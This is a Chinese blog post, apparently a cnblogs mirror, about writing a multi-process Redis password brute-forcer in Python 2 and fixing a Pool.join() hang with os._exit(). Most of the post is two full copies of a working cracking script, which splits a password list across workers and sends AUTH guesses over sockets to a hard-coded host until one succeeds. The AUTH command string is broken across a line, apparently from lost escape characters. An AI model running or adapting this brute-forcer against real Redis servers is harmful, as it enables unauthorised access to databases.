zoukankan      html  css  js  c++  java
  • redis密码破解(multiprocessing的Pool多进程模式)-join方法小坑

           之前使用multiprocessing的分布式进程模式写了个redis的破解程序,性能不是很理想,相对于单进程模式性能反而有下降.于是想利用multiprocessing的多进程模式进行破解,初始代码如下:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Time    : 19-1-3 下午7:32
    # @Site    : 
    # @File    : redisCrackMultiFile.py
    # @Software: PyCharm
    import subprocess
    from multiprocessing import Pool
    import sys,os
    import glob
    import socket
    
    redisHost = "192.168.36.3"
    redisPort = 6379
    redisCrackFile = "/home/liping/py/redisCrack/redisPass.txt"
    worker = 8
    
    def splitFile(w,passFile): #调用split命令按照Pool的worker数按行分割密码文本,返回分割后的文件列表
        suffix=os.path.splitext(passFile)[0]+"_"+"split"+"_"
        cmd="split -d -a 2 -n l/%d %s %s" %(w,passFile,suffix)
        try:
            subprocess.check_call(cmd,shell=True)
            # fileList = os.listdir(os.path.dirname(os.path.abspath(passFile)))
            globSuffix=suffix+"*"
            fileList=glob.glob(globSuffix)
            return fileList
        except subprocess.CalledProcessError,e:
            print "failed to split the file,quit:",str(e)
            sys.exit(2)
    
    def redisCrack(host,port,passfile): #每个worker使用一个分割密码文本调用socket模块破解
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        with open(passfile, "r") as f:
            for i in f:
                s.send("auth %s 
    " % (i))
                authResult = s.recv(1024)
                if '+OK' in authResult:
                    s.close()
                    return ("cracked",i)
    
    def crackCallback(msg): #multiprocessing的回调函数,破解后调用sys.exit()方法退出程序.
        if msg != None:
            print "redis password cracked,the pass is: %s" %msg[1]
            sys.exit(0)
        else:
            print "no password in this file"   #未破解返回不在此分割密码文本提示
    
    def main(): #主函数
        fileList=splitFile(worker,redisCrackFile)
        p=Pool(worker)
        p.daemon=True
        for l in fileList:
            p.apply_async(redisCrack,args=(redisHost,redisPort,l,),callback=crackCallback)
        p.close()
        p.join()
    
    if __name__=="__main__":
        main()
    

    代码总体思路是将密码文本按照multiprocessing的worker数进行分割,然后每个worker使用一个分割文本进行破解.

    测试如下:

    1.生成100万随机密码,将正确密码写入最后一行.

    2.启动程序,redis服务端有8个tcp连接,和worker数对应.程序生成8个子进程.

    3.发现一个worker破解出密码后,程序仍无法退出

    后经测试,发现夯住为multiprocessing的join方法造成的.join方法为等待子进程结束,为阻塞方法.在本次程序中,一个子进程完成破解,调用了sys.exit()方法退出了,但是对于主进程程序却仍然夯住在那等待.解决思路有如下2种:

       1.回调函数不调用sys.exit()方法,让每个子进程运行完成.但是此种方法明显不适用此场景,一个子进程破解出密码后,其他子进程应该无必要在进行密码猜测行为了.同时测试发现,即使去掉sys.exit()调用,在程序运行,kill掉一个子进程,join方法也会造成主程序一直夯住在那里.

    2.join方法增加timeout参数.但是timeout时间不好把握,太短子进程可能还没跑完密码文本就退出,太长也是造成程序空运行.

    后google搜索得知,要想在子进程中终止主进程,需要调用os._exit()方法.os._exit()将python解释器直接退出,后面的语句都不会执行.一般情况下用sys.exit()就行;os._exit()可以在os.fork()产生的子进程里使用.最终代码如下:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Time    : 19-1-3 下午7:32
    # @Site    : 
    # @File    : redisCrackMultiFile.py
    # @Software: PyCharm
    import subprocess
    from multiprocessing import Pool
    import sys,os
    import glob
    import socket
    
    redisHost = "192.168.36.3"
    redisPort = 6379
    redisCrackFile = "/home/liping/py/redisCrack/redisPass.txt"
    worker = 8
    
    def splitFile(w,passFile):
        suffix=os.path.splitext(passFile)[0]+"_"+"split"+"_"
        cmd="split -d -a 2 -n l/%d %s %s" %(w,passFile,suffix)
        try:
            subprocess.check_call(cmd,shell=True)
            # fileList = os.listdir(os.path.dirname(os.path.abspath(passFile)))
            globSuffix=suffix+"*"
            fileList=glob.glob(globSuffix)
            return fileList
        except subprocess.CalledProcessError,e:
            print "failed to split the file,quit:",str(e)
            sys.exit(2)
    
    def redisCrack(host,port,passfile):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        with open(passfile, "r") as f:
            for i in f:
                s.send("auth %s 
    " % (i))
                authResult = s.recv(1024)
                if '+OK' in authResult:
                    s.close()
                    return ("cracked",i)
    
    def crackCallback(msg):
        if msg != None:
            print "redis password cracked,the pass is: %s" %msg[1]
            os._exit(0)  #将sys.exit()方法替换为os._exit()方法
        else:
            print "no password in this file"
    def main():
        fileList=splitFile(worker,redisCrackFile)
        p=Pool(worker)
        p.daemon=True
        for l in fileList:
            p.apply_async(redisCrack,args=(redisHost,redisPort,l,),callback=crackCallback)
        p.close()
        p.join()
    
    if __name__=="__main__":
        main()
    

    同一密码文本与单进程测试速度如下:

    遗留问题:

    在破解出密码的情况下,虽然调用os._exit()方法退出了主程序,但是没有运行完的子程序会抛出IOError异常

  • 相关阅读:
    输出宽字符数组 C++
    python并发编程之多线程2------------死锁与递归锁,信号量等
    python并发编程之多线程1
    初始线程(相关理论)
    python并发编程之多进程2-------------数据共享及进程池和回调函数
    python并发编程之多进程1-----------互斥锁与进程间的通信
    Cpython支持的进程与线程
    进程理论基础
    函数嵌套复习
    python中if __name__ == '__main__'的说明
  • 原文地址:https://www.cnblogs.com/360linux/p/13062068.html
Copyright © 2011-2022 走看看